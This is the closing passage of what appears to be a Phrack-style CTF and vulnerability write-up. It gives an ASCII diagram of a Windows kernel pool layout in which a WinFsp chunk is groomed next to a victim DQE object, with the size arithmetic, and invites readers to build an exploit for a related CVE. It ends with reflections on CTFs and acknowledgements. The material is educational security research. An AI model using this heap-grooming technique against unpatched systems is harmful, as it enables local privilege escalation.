     <------0x50 bytes-----><------0x50 bytes----->                                                                     
     |    Hole slotted by  |        Victim        |                                                                     
     |      WinFsp Chunk   |         DQE          |     Hole                                                            
     +--+----------------+-+--+---------+-+-------+----------+                                                
     |  |OOOOOOOOOOOOOOOO|O|OO|OOOOOOOOO|O|       |xxxx...xxx|                                                
     |PH|OOOOOOOOOOOOOOOO|O|OO|OOOOOOOOO|O|ata    |xxxx...xxx|                                                
     |  |OOOOOOOOOOOOOOOO|O|OO|OOOOOOOOO|O|       |xxxx...xxx|                                                
     +--+--^-------------+^++-+---^-----+-+-------+----------+                                                
           |+-------------+ |     |      ^                                                                              
        +--+|    +----------+     |      |                                                                              
        |   |    |      +---------+      |                                                                              
        |   |    |      |     +----------+                                                                              
        |   |    |      |     |                                                                                         
       56 + 8 + 0x10 + 0x30 + 0x8 
       = 136 or 0x88 bytes
       to be set for DataSize                                   

CVE-2026-7162 is exploited with the same technique and yields a very similar
memory layout. Feel free to build your own exploit :)

--[ Final Thoughts

I hope this article has been both comprehensive and inspirational to the
reader.

As many big CTF players have already pointed out, the CTF scene has been
heavily affected by LLMs coming into the picture in recent years. In light
of this, I still believe that CTFs can be effective exercises that inspire,
motivate, and even reignite (in my case) the passion of those who truly aim
to understand the techniques and concepts behind the challenges.

I would like to thank chompie for hosting PhrackCTF2025, uhg for bug hunting
with me and proof-reading this article, my PhrackCTF teammate Elijah for
participating with me and solving the Linux pwn challenge, as well as the
maintainer of WinFsp for the quick fixes!
---

|=[ EOF ]=---------------------------------------------------------------=|
